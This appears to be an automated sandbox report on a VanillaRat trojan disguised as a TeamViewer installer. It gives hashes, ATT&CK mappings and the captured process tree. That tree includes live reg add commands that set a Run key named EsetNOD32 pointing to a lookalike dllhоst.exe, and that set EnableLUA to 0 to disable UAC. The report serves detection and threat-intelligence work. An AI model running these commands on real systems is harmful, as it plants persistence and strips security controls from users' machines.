vanillarat | 7411a95cf987a085c9bb3990cab95b8479e752b1c4370c9c256c07dd64f6b7b9

Reason

Machine shutdown

General

Target

TeamViewer_Setup.exe
Size

470KB
MD5

b3c7ffb0c5ba452d0c68da59f90b39af
SHA1

ee538ad689a49911cc4befae22269b8c3a261caa
SHA256

7411a95cf987a085c9bb3990cab95b8479e752b1c4370c9c256c07dd64f6b7b9
SHA512

d0a89e233aa03983f5b8d7067a923469b48eaac6d24f2a73ce22afdeefa2eb1c2976a69b511c25ff2845b49f43dfd2e68d7083506a162bb3b6669c5ee644b36e
SSDEEP

6144:eqly+sJZKBI09yYeY4eoiJ+sCFv1peInLz+:RRyYrZos+xFvHL6

Score

10^/10

vanillarat evasion persistence rat trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe
VanillaRat
VanillaRat is an advanced remote administration tool coded in C#.
rat vanillarat

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Vanilla Rat payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/2236-54-0x0000000000C80000-0x0000000000CFE000-memory.dmp	vanillarat

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\EsetNOD32 = "C:\\Windows\\System32\\dllhоst.exe"	reg.exe

Drops file in System32 directory 2 IoCs

Processes:

TeamViewer_Setup.exe

description ioc process

File created C:\Windows\SysWOW64\dllhоst.exe TeamViewer_Setup.exe
File created C:\Windows\SysWOW64\install.cmd TeamViewer_Setup.exe
Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

2200 reg.exe
1172 reg.exe

description	ioc	process
File created	C:\Windows\SysWOW64\dllhоst.exe	TeamViewer_Setup.exe
File created	C:\Windows\SysWOW64\install.cmd	TeamViewer_Setup.exe

pid	process
2200	reg.exe
1172	reg.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

TeamViewer_Setup.exeshutdown.exe

description	pid	process
Token: SeDebugPrivilege	2236	TeamViewer_Setup.exe
Token: SeShutdownPrivilege	2224	shutdown.exe
Token: SeRemoteShutdownPrivilege	2224	shutdown.exe

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

TeamViewer_Setup.execmd.execmd.exe

description	pid	process	target process
PID 2236 wrote to memory of 1636	2236	TeamViewer_Setup.exe	cmd.exe
PID 2236 wrote to memory of 1636	2236	TeamViewer_Setup.exe	cmd.exe
PID 2236 wrote to memory of 1636	2236	TeamViewer_Setup.exe	cmd.exe
PID 2236 wrote to memory of 1636	2236	TeamViewer_Setup.exe	cmd.exe
PID 1636 wrote to memory of 2200	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 2200	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 2200	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 2200	1636	cmd.exe	reg.exe
PID 2236 wrote to memory of 1480	2236	TeamViewer_Setup.exe	cmd.exe
PID 2236 wrote to memory of 1480	2236	TeamViewer_Setup.exe	cmd.exe
PID 2236 wrote to memory of 1480	2236	TeamViewer_Setup.exe	cmd.exe
PID 2236 wrote to memory of 1480	2236	TeamViewer_Setup.exe	cmd.exe
PID 2236 wrote to memory of 1480	2236	TeamViewer_Setup.exe	cmd.exe
PID 2236 wrote to memory of 1480	2236	TeamViewer_Setup.exe	cmd.exe
PID 2236 wrote to memory of 1480	2236	TeamViewer_Setup.exe	cmd.exe
PID 1480 wrote to memory of 1172	1480	cmd.exe	reg.exe
PID 1480 wrote to memory of 1172	1480	cmd.exe	reg.exe
PID 1480 wrote to memory of 1172	1480	cmd.exe	reg.exe
PID 1480 wrote to memory of 1172	1480	cmd.exe	reg.exe
PID 1480 wrote to memory of 2224	1480	cmd.exe	shutdown.exe
PID 1480 wrote to memory of 2224	1480	cmd.exe	shutdown.exe
PID 1480 wrote to memory of 2224	1480	cmd.exe	shutdown.exe
PID 1480 wrote to memory of 2224	1480	cmd.exe	shutdown.exe

C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe
"C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe"
1⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2236

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v EsetNOD32 /t REG_SZ /d C:\Windows\System32\dllhоst.exe /f
2⤵
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\SysWOW64\reg.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v EsetNOD32 /t REG_SZ /d C:\Windows\System32\dllhоst.exe /f
3⤵
- Adds Run key to start application
- Modifies registry key
PID:2200

C:\Windows\SysWOW64\cmd.exe
cmd /c C:\Windows\System32\install.cmd
2⤵
- Suspicious use of WriteProcessMemory
PID:1480

C:\Windows\SysWOW64\reg.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
3⤵
- UAC bypass
- Modifies registry key
PID:1172

C:\Windows\SysWOW64\shutdown.exe
shutdown -r -t 1
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2224

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:552

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:3056

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Bypass User Account Control

1

T1088

Defense Evasion

Bypass User Account Control

1

T1088

Disabling Security Tools

1

T1089

Modify Registry

3

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Windows\SysWOW64\install.cmd
Filesize
139B

MD5
6bb1de604664795e452c73659ff8ced7

SHA1
93587cb366f8f46ad592f4eb9850837e1cafef73

SHA256
69e87d18a60bc161d236af5471c6598b6897e297d2b26f0b3e9a63bd4475501f

SHA512
e71dda2217b6bf338e8ade43249d7a726ee93d504760c11694232b1d4b15d41557d8f61f451f6c8b67f86b9acc16e214d2dc479fed24c4e67bd1169dff553bcd

Download Submit
C:\Windows\SysWOW64\install.cmd
Filesize
139B

MD5
6bb1de604664795e452c73659ff8ced7

SHA1
93587cb366f8f46ad592f4eb9850837e1cafef73

SHA256
69e87d18a60bc161d236af5471c6598b6897e297d2b26f0b3e9a63bd4475501f

SHA512
e71dda2217b6bf338e8ade43249d7a726ee93d504760c11694232b1d4b15d41557d8f61f451f6c8b67f86b9acc16e214d2dc479fed24c4e67bd1169dff553bcd

Download Submit
memory/552-66-0x00000000029C0000-0x00000000029C1000-memory.dmp

Filesize
4KB

Download
memory/2236-54-0x0000000000C80000-0x0000000000CFE000-memory.dmp

Filesize
504KB

Download
memory/2236-55-0x0000000074C70000-0x000000007535E000-memory.dmp

Filesize
6.9MB

Download
memory/2236-65-0x0000000074C70000-0x000000007535E000-memory.dmp

Filesize
6.9MB

Download
memory/3056-67-0x0000000002760000-0x0000000002761000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads